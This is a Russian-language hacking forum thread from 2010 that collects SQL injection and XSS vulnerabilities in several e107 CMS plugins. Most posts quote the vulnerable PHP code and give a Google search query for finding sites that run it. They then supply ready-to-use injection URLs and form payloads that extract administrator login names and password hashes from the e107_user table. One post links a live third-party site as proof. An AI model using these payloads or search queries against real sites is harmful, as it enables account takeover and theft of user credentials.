              
$patterns[1] = "/JUL/";... 

[path]/e107_handlers/mysql.class.php
PHP код:

...function db_Select($table$fields '*'$arg ''$mode 'default'$debug FALSE$log_type ''$log_remark '') {
        global 
$db_mySQLQueryCount;
        
$table $this->db_IsLang($table);
        
$this->mySQLcurTable $table;
        if (
$arg != '' && $mode == 'default')
        {
            if (
$this->mySQLresult $this->db_Query('SELECT '.$fields.' FROM '.MPREFIX.$table.' WHERE '.$argNULL'db_Select'$debug$log_type$log_remark)) {
                
$this->dbError('dbQuery');
                return 
$this->db_Rows();
            } else {
                 
$this->dbError("db_Select (SELECT $fields FROM ".MPREFIX."{$table} WHERE {$arg})");
                return 
FALSE;
            }
        } elseif (
$arg != '' && $mode != 'default') {
            if (
$this->mySQLresult $this->db_Query('SELECT '.$fields.' FROM '.MPREFIX.$table.' '.$argNULL'db_Select'$debug$log_type$log_remark)) {
                
$this->dbError('dbQuery');
                return 
$this->db_Rows();
            } else {
                  
$this->dbError("db_Select (SELECT {$fields} FROM ".MPREFIX."{$table} {$arg})");
                return 
FALSE;
            }
        } else {
            if (
$this->mySQLresult $this->db_Query('SELECT '.$fields.' FROM '.MPREFIX.$tableNULL'db_Select'$debug$log_type$log_remark)) {
                 
$this->dbError('dbQuery');
                return 
$this->db_Rows();
            } else {
                 
$this->dbError("db_Select (SELECT {$fields} FROM ".MPREFIX."{$table})");
                return 
FALSE;
            }
        }
    }... 

PHP код:

...function dbError($from) {
        if (
$error_message = @mysql_error()) {
            if (
$this->mySQLerror == TRUE) {
                
message_handler('ADMIN_MESSAGE''<b>mySQL Error!</b> Function: '.$from.'. ['.@mysql_errno().' - '.$error_message.']'__LINE____FILE__);
                return 
$error_message;
            }
        }
    }... 

К сожелению ошибки от СУБД отключены:
PHP код:

function db_Connect($mySQLserver$mySQLuser,$mySQLpassword$mySQLdefaultdb)
...
$this->mySQLerror FALSE;
... 

Result:
http://[host]/[path]/e107_plugins/roster/userinfo.php?m_id=1'+and+substring(version(),1,1)= 5--+
Контент выводится!

http://[host]/[path]/e107_plugins/roster/userinfo.php?m_id=1'+and+substring(version(),1,1)= 4--+
Контент не выводится!

Условие: mg=off

roster_sql.php - в скрипте структура єтого плагина бес дескрипторов!
путь - http://[host]/[path]/e107_plugins/roster/log/userclass2.php

Я обписался ):
не блинд, а иньекция c принтабельными!
SQL inj
гуглinurl:/e107_plugins/roster
Цитата:

http://[host]/[path]/e107_plugins/roster/userinfo.php?m_id=-1'+union+select+1,2,3,4,5,6,7,8,user_password,10,1 1,12,13,14,15,16,user_loginname,18+from+e107_user--+
Условие: mg=off

А вот и доказательства:
http://www.10thsfg.org/e107_plugins/...m+e107_user--+

Strilo4ka 06.07.2010 20:23

Social Shop v1.1 by eleljrk
cкачать

гугл inurl:e107_plugins/social_shop/

SQL inj
[path]/e107_plugins/social_shop/shop.php
PHP код:

...elseif($_GET['product']) {
    
$storedb->db_Select("ss_products","*""product_id='".$_GET['product']."'");
    while(
$store_row $storedb -> db_Fetch()) {
        if(
$store_row['product_approve'] == && !ADMIN) {
            
$ns->tablerender(SS_ERROR "<div align='center'>".SS_ERRORMASSAGE."<a href='".e_SELF."?page=home'>".$pref['ss_store_name']."</a></div>".$credits);
            require_once(
FOOTERF);
            exit;
        }
        else {
            
$store_user get_user_data($store_row['product_releaser']);
            
$filesize round((filesize("store/".$store_row['product_product']) / 1024));
            
$product_description str_replace("\n" ,"<br />" $store_row['product_description']);        
            
$store... 

Результат:
http://[host]/[path]/e107_plugins/social_shop/shop.php?product=-1'+union+select+1,concat_ws(0x3a,user_loginname,us er_password),3,4,5,6,7,8,9,10,11,12,13,14+from+e10 7_user--+

Условие: mg=off

Strilo4ka 06.07.2010 20:23

Survey_46.zip v0.47 by yvalni
скачать
гугл- inurl:e107_plugins/survey
Результаты 1 - 10 из примерно 7 430

SQL inj
[path]/e107_plugins/survey/survey.php
PHP код:

...if($_POST['submit']){
    
$cnv = new convert;
    
$mailto_addresses "";
    
$submit_time time();
    
$mailtext LAN_SUR42.": ".$cnv -> convert_date($submit_time,"long")."\n\n";

    
$sql -> db_Select("survey","*","survey_id='{$_POST['survey_id']}' ");
    if(
$row $sql -> db_Fetch()){
        
extract($row);
    }
    if(
$survey_class != e_UC_PUBLIC && $survey_once){
        if(
already_voted($survey_user)){
            
$ns -> tablerender("Error - {$survey_name}",LAN_SUR2);
            require_once(
FOOTERF);
            exit;
        }
    }... 

Самое интересное что survey_id можно и не знать,
данные вместе с ошибкой вылазят (есть принтабельное поле!) :)

Результат:
<form action="http://[host]/[path]/e107_plugins/survey/survey.php" method=post>
<input type=text name=survey_id value="-2' union select 1,concat_ws(0x3a,user_loginname,user_password ),3,4,5,6,7,8,9,10,11,12,13,14 from e107_user limit 0,1-- ">
<input type=submit name=submit>
</form>

Условие: mg=off

Strilo4ka 06.07.2010 20:24

Registration v0.9 by holiday
скачать
SQL inj в order by (есть вывод от СУБД!)

гугл- inurl:e107_plugins/registration

[path]/e107_plugins/registration/playerlist.php[/COLOR]
PHP код:

require_once("../../class2.php");
//@include_once e_PLUGIN.'registration/languages/'.e_LANGUAGE.'.php';
@include_once e_PLUGIN.'registration/languages/Deutsch.php';


require_once(
"cRegistration.php");


require_once(
HEADERF);
 
$title=sprintf("%s - %s",REG_MAIN_2cTournament::getInstance()->getActualTournament() );
$ns->tablerender($titlecRegistration::getInstance()->showRegisteredUser($_REQUEST['order']));


require_once(
FOOTERF); 

[path]/e107_plugins/registration/Cregistration.php
PHP код:

....public function showRegisteredUser($order=""){
        
        
$config cConfig::getInstance()->getConfiguration();
        
$data=$this->getAllParcipitants($order);
        
        
        
$border=sprintf("border:0;border-bottom: #444 1px solid;");
        
$padding1=sprintf("padding-right: 1em");
        
$table.=sprintf("<table align=left style='width:95%%;margin-left:10px;border-collapse:collapse;%s; background:none;'>",$border);
        
        
        
$table.=sprintf("<tr>");... 

PHP код:

...protected function getAllParcipitants($order){
        
        try {
            
        
            global 
$tp$sql;
            
            
//reihenfolge wird immer durch Name, Vornamen ergдnzt
            
if(empty($order))$order="reg_name, reg_vorname";
            else     
$order.=', reg_name, reg_vorname';
            
$data=array();
            
            
$this->debug("DB select {$this->table}");
            
$tid=cTournament::getInstance()->getActualTournamentId();
            
            
$result=$sql->db_Select("teilnehmer""*" "WHERE reg_tournamentId=$tid ORDER BY $order """);
            
            if(!
$result) {
                    
$error=sprintf("DB Error %s: %s"mysql_errno(), mysql_error());
                    if(
mysql_errno()>0) throw new Exception ($error);
                    
$this->debug("Kein Datenbankeintrag gefunden");    
                }    
                
            
            
//$teilnehmer=array();
            
while($row $sql->db_Fetch())    {    
                    ... 

Результат:
http://[host]/[path]/e107_plugins/registration/playerlist.php?order=1,(select 1 from (select count(0),concat_ws(0x3a,(select user_loginname from e107_user limit 0,1),(select user_password from e107_user limit 0,1),floor(rand(0)*2)) from (select 1 union select 2 union select 3)x group by 2)a)

ps
1) лучше постом крутить!
2) http://[host]/[path]/e107_plugins/registration_sql.php - структура плагина!

Strilo4ka 06.07.2010 20:24

Map Me! v1.3 by rickey911
скачать
SQL inj

гугл- inurl:/e107_plugins/mapme

[path]/e107_plugins/mapme/mapmejs.php
PHP код:

...require_once("../../class2.php");
    
  
// Get language file (assume that the English language file is always present)
  
$lan_file e_PLUGIN."mapme/languages/".e_LANGUAGE.".php";
  
include_lan($lan_file);
    
    
header("Content-type: application/x-javascript");
    
    global 
$pref$user;
    
$uid $_GET['u'];
    
$sql->mySQLresult = @mysql_query("SELECT ".MPREFIX."gmarkers.loc, ".MPREFIX."gmarkers.lat, ".MPREFIX."gmarkers.lng, ".MPREFIX."user.user_name, ".MPREFIX."user.user_image FROM `".MPREFIX."gmarkers`, ".MPREFIX."user where ".MPREFIX."gmarkers.user_id = ".$uid." and ".MPREFIX."gmarkers.user_id = ".MPREFIX."user.user_id");
$rows=$sql->db_Rows();
    if(
$rows){
         
$row $sql->db_Fetch();
        if(
$row['user_image']){
            require_once(
e_HANDLER."avatar_handler.php");
            
$uimage "<img src='".avatar($row['user_image'])."' alt='".$row['user_name']."' style='text-align:middle'  />";
        }
        else{
            
$uimage "<img src='".e_PLUGIN."mapme/images/noavatar.gif' alt='".$row['user_name']."' style='text-align:middle' />";
        }

        
$html "\"<div style='width:250px;'><div style='float:left; text-align:left;'>".$uimage."</div><div style='float:left; text-align:left;'><a href='".e_BASE."user.php?id.".$uid."' title='".$row['user_name']."'><b>".$row['user_name']."</b></a><br>".MAPME_JS_001." ".$row['user_name']." ".MAPME_JS_002." ".$row['loc'].".";
        if(
$uid==USERID){
            
$html .="<br><br><span class='smalltext'><a href='".e_PLUGIN_ABS."mapme/mapconfig.php'>".MAPME_JS_003."</a></span>"// bugfix by nlstart
        
}
... 

Результат и никаких условий:

http://[host]/[path]/e107_plugins/mapme/mapmejs.php?u=-1+union+select+1,2,3,concat_ws(0x3a,user_loginname ,user_password),5+from+e107_user--+

Strilo4ka 06.07.2010 20:25

Tabbed Menu v2.0 by KVN
скачать
inurl:e107_plugins/tabbed_menu
пасивная XSS
Код:

http://[host]/[path]/e107_plugins/tabbed_menu/ajaxhandler.php?target=<script>alert(123)</script>
[path]/e107_plugins/tabbed_menu/ajaxhandler.php
PHP код:

...}else{
    
$ajax_response "<menu_name>{$_GET['target']}</menu_name><source_id>$ajax_source</source_id><arg>$ajax_arg</arg> <b>No Data Available</b>";
}
echo 
$ajax_response

путь:
Код:

http://[host]/[path]/e107_plugins/tabbed_menu/ajaxhandler.php?source=1

The matrix 08.07.2010 00:07

plugin Guestbook
 
Plugin name: plugin Guestbook
Site:http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.608
google dork:inurl:"/e107_plugins/guestbook/guestbook.php"
Type:SQL-INJ в INSERT
VERSION: 4.01(Возможно И версии <==4.01)
Need:mq=off

/e107_plugins/guestbook/guestbook.php
PHP код:

    $_POST['url']     = eregi_replace("http://"""trim($_POST['url']));
    
$_POST['url']     = ($_POST['url']?"http://".$_POST['url']:"");
...............................
if(
$sql -> db_Insert("guestbook""'', '".$_POST['name']."', '".$_POST['email']."', '".$_POST['url']."', '$time', '$ip', '$host', '".$_POST['comment']."', '".USERID."', '".$admincheck."' ")){
// $_POST['url'] не обрабатывается должным образом и попадает в запрос 

3xpl01t:
в поле website вбиваем
Код:

chupa-chups', 1,1,(select concat(user_name,0x3a,user_password) from e107_user where user_id=1),1,1,1)#
end

The matrix 09.07.2010 15:37

Plugin: AACGC Game List
 
Plugin name: AACGC Game List
Site:http://plugins.e107.org/e107_plugins...p?artifact.760
google dork:inurl:"e107_plugins/aacgc_gamelist"
Type:SQL-INJ
VERSION: 3.1(Возможно И версии <==3.1)
Need:Нет зависимостей
/e107_plugins/aacgc_gamelist/AddMe.php
PHP код:

......................
require_once(
"../../class2.php");
require_once(
HEADERF);
if (
e_QUERY) {
        
$tmp explode('.'e_QUERY);
        
$action $tmp[0];
        
$sub_action $tmp[1];
        
$id $tmp[2];
        unset(
$tmp);
}
$sql->db_Select("aacgc_gamelist""*""WHERE game_id = $sub_action","");
$row $sql->db_Fetch();
$sql2 = new db;
$sql2->db_Select("aacgc_gamelist_members""*""WHERE chosen_game_id=".$row['game_id']."","");
$row2 $sql2->db_Fetch();
........................ 

3xplo1t:
Код:

http://localhost/e107.2/e107_plugins/aacgc_gamelist/AddMe.php?blabla.-1%20union%20select%20null,concat(user_name,0x3a,user_password),3,4,5,6,7,8,9,10,11,12%20from%20e107_user#2
нельзя использовать "+" в запросе можно только "пробел".


Часовой пояс GMT +3, время: 22:31.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot